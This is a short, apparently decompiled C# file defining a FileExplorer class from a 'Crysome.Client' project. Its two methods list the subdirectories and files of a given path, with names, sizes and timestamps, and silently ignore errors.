using System.Collections.Generic;
using System.IO;
using Crysome.Common.Model;

namespace Crysome.Client.SystemInfo;

public static class FileExplorer
{
	public static FileSystemEntry[] GetDirectories(string path)
	{
		//IL_003f: Unknown result type (might be due to invalid IL or missing references)
		//IL_0049: Expected O, but got Unknown
		List<FileSystemEntry> list = new List<FileSystemEntry>();
		try
		{
			foreach (DirectoryInfo item in new DirectoryInfo(path).EnumerateDirectories())
			{
				try
				{
					list.Add(new FileSystemEntry(item.Name, item.FullName, 0L, (FileType)0, item.LastWriteTimeUtc.Ticks, (byte[])null));
				}
				catch
				{
				}
			}
		}
		catch
		{
		}
		return list.ToArray();
	}

	public static FileSystemEntry[] GetFiles(string path)
	{
		//IL_0043: Unknown result type (might be due to invalid IL or missing references)
		//IL_004d: Expected O, but got Unknown
		List<FileSystemEntry> list = new List<FileSystemEntry>();
		try
		{
			foreach (FileInfo item in new DirectoryInfo(path).EnumerateFiles())
			{
				try
				{
					list.Add(new FileSystemEntry(item.Name, item.FullName, item.Length, (FileType)1, item.LastWriteTimeUtc.Ticks, (byte[])null));
				}
				catch
				{
				}
			}
		}
		catch
		{
		}
		return list.ToArray();
	}
}
